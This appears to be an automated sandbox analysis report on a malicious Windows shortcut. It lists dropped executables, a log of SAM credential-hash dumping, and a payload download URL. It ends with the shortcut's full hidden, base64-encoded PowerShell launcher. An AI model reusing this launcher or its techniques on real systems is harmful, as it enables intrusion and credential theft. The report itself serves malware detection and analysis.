File Type:	data
Category:	dropped
Size (bytes):	16352
Entropy (8bit):	7.989715332557435
Encrypted:	false
SSDEEP:	384:Ar6VRNz3lt07l6HbQ9Wb3svVJPTpPmHp43Q:AG3Q9Wb3CPM+3Q
MD5:	DC5B92C58036E26DDAA09B0AC0A76B69
SHA1:	0F6DD313B40D15C66DA8EEC4E65D839F3164B7E4
SHA-256:	22E609531ACEB69CFF4F2363B15A80F9F37E72AA07693E0EE0D94FED9DD2043A
SHA-512:	7D24933EA42AACF0BA6A852D97D20920257CDA7DA91E3E48392FE0BD623B52A70A9CBEA8A4BB23A4E5DF966CB61E497C26F87E28444B8F929A64346FCB3B9799
Malicious:	false
Preview:	......DL.@...B....@.j....Qm.Jmc.{.~.S...fy.r.b`...Y...Wq...'...h.c.:.J5:.@...G.t.K.>...<b0R.a.n&3L.:.iJ@.!e)...x.D.R7.9..,...Pm...ty..'./../x00...Xa....Ze#...dU.x...-..TE.3\....k!...8.1.h..'O.s.\|(.N,;iL.....)i.$.X..\|.p.k....0M......P[...RK.#.X..I....V.......9ZT..%..\|.4..<....A.......H....u..D.... ....o...t...74..#y,...d.."..5../C$..;....U.1....d.W .&W.....7Ge..h.....x.^.]c.d>:.O.a<.F'G...7G.b....d.(z..bA...D.......F......y...>i.fjN.895(.E~.....O....2.].tM[.#N.b..\. ..?...s....`.!-=./F...".75.\|.PU..<zm<4....,z..p...A.\|..E.B.0...,tR..$.>..#..a(.j......]......<....f.%.+........0K.-....."u:."g.e../a..-s.Z.+..Z..k.}.z@N?C..G...=....H.=...@.%.Z..Bk.......jT.....Lu.....G.v8....(.....G..u:L.y$e..!.:.-Y....b...5...O.CB.Ad.$<Sf.m.6.....9......f.^.]qH...j,.*..`.k..Q..0.......&...3......K.r....!.Q...-..f.%.........D@!..c..K..2Z>..\..M..."..#;>.G^..S.h...p.5...c.p4.1..\|.....~d...}.=..^...X.7.%....!.V...:..m.y..o..FHGK......)...E.M......"......&.

C:\Windows\System32\spp\store\2.0\data.dat.tmp

Download File

Process:	C:\Windows\System32\sppsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	16352
Entropy (8bit):	7.989715332557435
Encrypted:	false
SSDEEP:	384:Ar6VRNz3lt07l6HbQ9Wb3svVJPTpPmHp43Q:AG3Q9Wb3CPM+3Q
MD5:	DC5B92C58036E26DDAA09B0AC0A76B69
SHA1:	0F6DD313B40D15C66DA8EEC4E65D839F3164B7E4
SHA-256:	22E609531ACEB69CFF4F2363B15A80F9F37E72AA07693E0EE0D94FED9DD2043A
SHA-512:	7D24933EA42AACF0BA6A852D97D20920257CDA7DA91E3E48392FE0BD623B52A70A9CBEA8A4BB23A4E5DF966CB61E497C26F87E28444B8F929A64346FCB3B9799
Malicious:	false
Preview:	......DL.@...B....@.j....Qm.Jmc.{.~.S...fy.r.b`...Y...Wq...'...h.c.:.J5:.@...G.t.K.>...<b0R.a.n&3L.:.iJ@.!e)...x.D.R7.9..,...Pm...ty..'./../x00...Xa....Ze#...dU.x...-..TE.3\....k!...8.1.h..'O.s.\|(.N,;iL.....)i.$.X..\|.p.k....0M......P[...RK.#.X..I....V.......9ZT..%..\|.4..<....A.......H....u..D.... ....o...t...74..#y,...d.."..5../C$..;....U.1....d.W .&W.....7Ge..h.....x.^.]c.d>:.O.a<.F'G...7G.b....d.(z..bA...D.......F......y...>i.fjN.895(.E~.....O....2.].tM[.#N.b..\. ..?...s....`.!-=./F...".75.\|.PU..<zm<4....,z..p...A.\|..E.B.0...,tR..$.>..#..a(.j......]......<....f.%.+........0K.-....."u:."g.e../a..-s.Z.+..Z..k.}.z@N?C..G...=....H.=...@.%.Z..Bk.......jT.....Lu.....G.v8....(.....G..u:L.y$e..!.:.-Y....b...5...O.CB.Ad.$<Sf.m.6.....9......f.^.]qH...j,.*..`.k..Q..0.......&...3......K.r....!.Q...-..f.%.........D@!..c..K..2Z>..\..M..."..#;>.G^..S.h...p.5...c.p4.1..\|.....~d...}.=..^...X.7.%....!.V...:..m.y..o..FHGK......)...E.M......"......&.

C:\Windows\Temp\__PSScriptPolicyTest_420gzqcm.ncs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_aospwu1l.vrv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_bag45omk.4a1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_brg4vnaf.1ut.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_bxr5zgx4.wmu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_c1tevmmj.2jm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_lyo5i2d3.4oz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_mgkajrkc.aui.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_scz15ovp.kca.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xeqvu4ot.na4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\deviceId.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	4.229327351940021
Encrypted:	false
SSDEEP:	3:4yHbkT/dkcovn:dbkRsn
MD5:	17D74848A2AABEDAF9A3BF09D7CF3A2B
SHA1:	056C4F9329C07DD7A3414257E1D77D41D4C402C5
SHA-256:	AEF31441A868B517503CE23E6D663969A50CAC256CA3311CCD17EE1AE11D5C26
SHA-512:	8A0C39EACAEA374E904A931F97D8C32C1BABCB47763195979D93AEA366624B304F6B0B25CB8CBFDE5B56AA129CFC9B51B3BAA697149295A103A53D9E5139E580
Malicious:	false
Preview:	.63013372F6575A9D4EA29CB608798ED9..

C:\Windows\Temp\docsz

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.959233174821663
Encrypted:	false
SSDEEP:	6:IwRJBYzRJBYlr8SJBY4U4GVjWIUE5dMnpqX:I8sRs8SD8jW3EvMpo
MD5:	09B25CAC0BFA90484337CCC8EF9DCD60
SHA1:	1BBF4858E3266F1E6B89B8A0A3D567CB2A30FA4A
SHA-256:	53DCA461E84E00AF9900DC80A07421B8BCF309D5A046A6317166315ED6FD1C49
SHA-512:	A5B08D0A86DFDE44A20C7454532705B24E9A065F43A9CC3F0B67841673B769CBF969A82BF464935B5AB3D8550D25FE17FBA56A259D06757F1783A52FCE090B65
Malicious:	false
Preview:	Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..user\|32ED87BDB5FDC5E9CBA88547376818D4..User1\|9D40E39ADEB5D56955BED3470DA6D02C..

C:\Windows\Temp\dp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.7179360295889174
Encrypted:	false
SSDEEP:	3:QnlVldGlVlil:QdUu
MD5:	A6850FB0659A548ACF3B99814BF23C93
SHA1:	690D23F93EEA833EB4D5B8D20F3938E25E64BB72
SHA-256:	38961B38E6AFD73A897F43E7513755EAE09B9605AB97E698F2201665F4CF96DB
SHA-512:	DD61B6C972655AEFD3BFA5BA493476644071354EA482F224FEB2F5BC0992B6DC59CB7918F0F41139B0D4E73848850A8070DB82BB0DC4915999E33CCA22FAA37E
Malicious:	false
Preview:	..1.9.2.0.x.1.0.8.0.....

C:\Windows\Temp\file

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	98304:QItEWBowFOHzb0sg6jsDNg4WNbpsDFnoDhno/S1w8s/I:QItDBowFOTbk6mNWNbpYtej1w8s/I
MD5:	E6C9E4ABDC9BACE6F54B1ED41622F54F
SHA1:	7FD64CA2D9718F31F05692279F428CB7B8EFF8C6
SHA-256:	2D285378BB1F24AA547EDB806FA18137127882F46EA1A3FA466F2645520233F1
SHA-512:	F1245224972CE79505D184DDE00A94B33D5FD12500A84C31A620BD208DA5913DD09AEC131F9C6A0E4F295F0F04FF9284667408DE209C3B552F25527FC90837FB
Malicious:	false
Preview:	L[......................A............................................... ..M. Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/...%.........v...................._...............Z.......Z...............Z.......[.......[......Shbi............QD..e.....Yf..........#....(..F..Q8...............A..........................................a..........................................A..Y...YA..U....a.......................q..................................)...q...A............!^............................./udyu...y&.......)..................!..a/l`o`fde..:..A....:..-..............!..aixes`udey.....I........................./se`u`..MF3..!^..I3...F.............A..A/e`u`........q...o...1{.............A.../qe`u`................{.............A..A/srsb........a.......o~.............A..A/sdmnb.......q.......u~.............A..C........................................................................................................................................................................................

C:\Windows\Temp\log_rdp_11122024_06.txt

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	872
Entropy (8bit):	5.2719252453786645
Encrypted:	false
SSDEEP:	24:ENp94o+wFJ4p7LWN/9NB8iaigPFwx6wwrY:Er2o5faWfDna+NsY
MD5:	FEA9C19F8065562ACBC0BEA4F90F9849
SHA1:	3B5B7442FAFB2836273CF3EBC1D22A9A9EE2DC3C
SHA-256:	3505434EC8B1C9EFC565F354439613258AB1DAC24E0E6F169C26A795AA61A65B
SHA-512:	2ACAF2E5D5F9F55E2D46FD108C6D5DE12CA44E6D18FC10CE5308DE799FB6054C6FD65176D84C44231A79F2F7AB377D8F7064EB776B5E11F7246B2DBA9C4D404F
Malicious:	false
Preview:	18:15:58 - Internet connection..18:15:58 - Begin check server..18:16:04 - Begin connect..18:16:09 - BootKey: D6-AA-4D-99-DC-41-86-C3-63-A1-2C-89-7F-F8-5B-85..18:16:09 - Successfully accessed SAM hive...18:16:09 - Reading usernames and encrypted hashes.....18:16:09 - Administrator..18:16:09 - Guest..18:16:09 - DefaultAccount..18:16:09 - WDAGUtilityAccount..18:16:09 - user..18:16:09 - User1..18:16:09 - SAM_Resolution_1920x1080..18:16:10 - SAM_USER_Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..18:16:10 - SAM_USER_Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..18:16:11 - SAM_USER_DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..18:16:11 - SAM_USER_WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..18:16:12 - SAM_USER_user\|32ED87BDB5FDC5E9CBA88547376818D4..18:16:12 - SAM_USER_User1\|9D40E39ADEB5D56955BED3470DA6D02C..18:16:30 - detect message PING..18:16:30 - PING..

C:\Windows\Temp\myRdpService.exe

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9429504
Entropy (8bit):	6.889775220697302
Encrypted:	false
SSDEEP:	98304:mfhsbOItDNUaBVthhcT/Fe5Yqa5z1bRT6G0EYd+Tj:HbO8N9BH4ToYqopbRT6GLpj
MD5:	5641F3A5B9787F23D3D34F0D9F791B7A
SHA1:	021867C55B5724C28981F58A9A38DBE298057793
SHA-256:	5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34
SHA-512:	3E96E1675C96A0CEAD3E7294128CB742D7813F65AB55F907D0F447B966BCD086FB533D25D710E9F9CC5C1781D1819C2F2C86DEBBD94A6A901C9A49AB30430E7B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6 ..Xs..Xs..Xs...s..Xs..Yr..Xs..Ys,.Xs..[r..Xs..\r..Xs..]r..Xs..\r..Xs..Xs..Xs..]r.Xs..Xr..Xs..Zr..XsRich..Xs................PE..d.....Xg.........."....).>P...A................@.............................@............`...................................................\|............................ ..L...............................(...P...@.............l..............................text....G.......H.................. ..`.managedX.C..`....C..L.............. ..`hydrated`....`P..........................rdata..`t9...l..v9..BP.............@..@.data....x..........................@....pdata...............>..............@..@.rsrc..............................@..@.reloc..L.... .....................@..B................................................................................................................................................................

C:\Windows\Temp\regBackup.reg

Download File

Process:	C:\Windows\regedit.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	5492
Entropy (8bit):	3.2564408602149646
Encrypted:	false
SSDEEP:	96:0PVJqMXWMRUYSFd5YtU6W66zpVwkP9Odgd8zkFJdlzOkJdB0u1Jd8ui4c4d8zB/H:sVJqgUZ/5+g7P94RgFx9R43Zy1TbZH56
MD5:	A766DECEF71813234AAF41DB4EF5086E
SHA1:	564473B1CB74ED13E820C62F30642836B8D983C6
SHA-256:	8CA780CD4F6488CBBB1B6999D935B4F8352B36B3E2E1E54301875C6483A87535
SHA-512:	C3CF7BADAD40C63C0479DD7A50762968038A9D402E8AE34697F30D09E206D5D090270013504B801EECB82D234280535E21629A6F23F1F04CE1CF2D3EF0C37051
Malicious:	true
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.Y.S.T.E.M.\.C.u.r.r.e.n.t.C.o.n.t.r.o.l.S.e.t.\.S.e.r.v.i.c.e.s.\.T.e.r.m.S.e.r.v.i.c.e.].....".D.e.p.e.n.d.O.n.S.e.r.v.i.c.e.".=.h.e.x.(.7.).:.5.2.,.0.0.,.5.0.,.0.0.,.4.3.,.0.0.,.5.3.,.0.0.,.5.3.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.....".D.e.s.c.r.i.p.t.i.o.n.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.7.".....".D.i.s.p.l.a.y.N.a.m.e.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.8.".....".E.r.r.o.r.C.o.n.t.r.o.l.".=.d.w.o.r.d.:.0.0.0.0.0.0.0.1.....".F.a.i.l.u.r.e.A.c.t.i.o.n.s.".=.h.e.x.:.8.0.,.5.1.,.0.1.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.3.,.0.0.,.0.0.,.0.0.,.1.4.,.0.0.,.0.0.,.\..... . .0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.....".I.m.a.g.e.P.a.t.h.".=.h.e.x.

C:\Windows\Temp\svczHost.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	49152:gAolapw+tVy4CZ79cORdCVhYWXnMdI7pz1YoSBrIc7ywciqQMmLdp1sVOFJHluxx:pgacEZyBpu9r/derR2hs/OLYGMIU9+
MD5:	9298A0077E8353244A38CAEFE43AF4CB
SHA1:	155D0C93E1BA7DD7B22228BEC1A030FAE0678398
SHA-256:	B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A
SHA-512:	34CD8853EEBD3E54393726DF668D5F620EE6AC0FD5967F91A26B2E5F4186CB403A2197D9DE497CB93B3498EBC0E2DF098D122376E0276A15F1D412C7D874D87A
Malicious:	true
Joe Sandbox View:	Filename: MdmRznA6gx.lnk, Detection: malicious, Browse Filename: Cj3OWJHzls.lnk, Detection: malicious, Browse Filename: 3y37oMIUy6.lnk, Detection: malicious, Browse Filename: m9c7iq9nzP.lnk, Detection: malicious, Browse Filename: WXahq3ZEss.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse Filename: rRtGI3L0ca.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w....................^...............[.......[...............[.......Z.......Z......Rich............PE..d.....Xg.........."....)..G..P9...............@..........................................`..........................................@..X...X@..T....`.......................p..................................(...p...@............ _..............................text...x'.......(.................. ..`.managed..;..@....;..,.............. ..`hydratedx.....H..........................rdata..LG2.. _..H2...G.............@..@.data........p...n...0z.............@....pdata................z.............@..@.rsrc........`.......n..............@..@.reloc.......p.......t..............@..B........................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.467343025747649
Encrypted:	false
SSDEEP:	3:eDLpHWfPdBEyQOKxxTovn:eDLp2f0yQdTov
MD5:	DC13E80DBEC53E1102F2B3DBA50EF8AE
SHA1:	9AFFBCA9F0164127358352527F7D842C1DBA5C69
SHA-256:	83FEE1860DD7713AEE8E0296E0E1039EA5F786DF3E639C0D316C530D8E1B8E41
SHA-512:	BD478293F8A11FCEB47C21122E4ED3C5553D08EDA56BFB3FEAAA238324D713A784B8F6142DC0F84E1D7E63BB068836B91FDC42CFA3EB733C73545508B9CAD55D
Malicious:	false
Preview:	Begin download https://cocomethode.de/StaticFile/RdpService/66..

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=341, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Entropy (8bit):	2.709741370238262
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	L0jeOoavu4.lnk
File size:	5'558 bytes
MD5:	56b6d0c993cb1da87122ac0e3bbe0428
SHA1:	8b4f8de6f252ad42a1c3e3332a768c4883ca21a1
SHA256:	d662a6e2242305b9e0073b5253e9a3c0902c90fe3dbe82f9b3f57f03a1a9f2a9
SHA512:	4423fe0e2ff3fca7e1fe2a98cb3be3182d71cbe48d2c64c7afb35aaf62f98891dfd43a649860af036b85c781f50f96c455b33a8832e27bc9f3d1b169b2b8df73
SSDEEP:	96:8uNL8rlMvomw/mheGqIz2lE5hgcZFLWjGRx4RpUAOh2:8up8rlMvomnBLYRrO
TLSH:	C0B1230269EB00D9E16787711FDCF5FF477AF4121A2E7AB51040C7818B35784DA62AB9
File Content Preview:	L..................F.B..................................U...................5....P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........system32..B.....................

File Icon


Icon Hash:	69e9a9a9a3a3a1a5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\Windows\system32\cmd.exe
Command Line Argument:	/v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
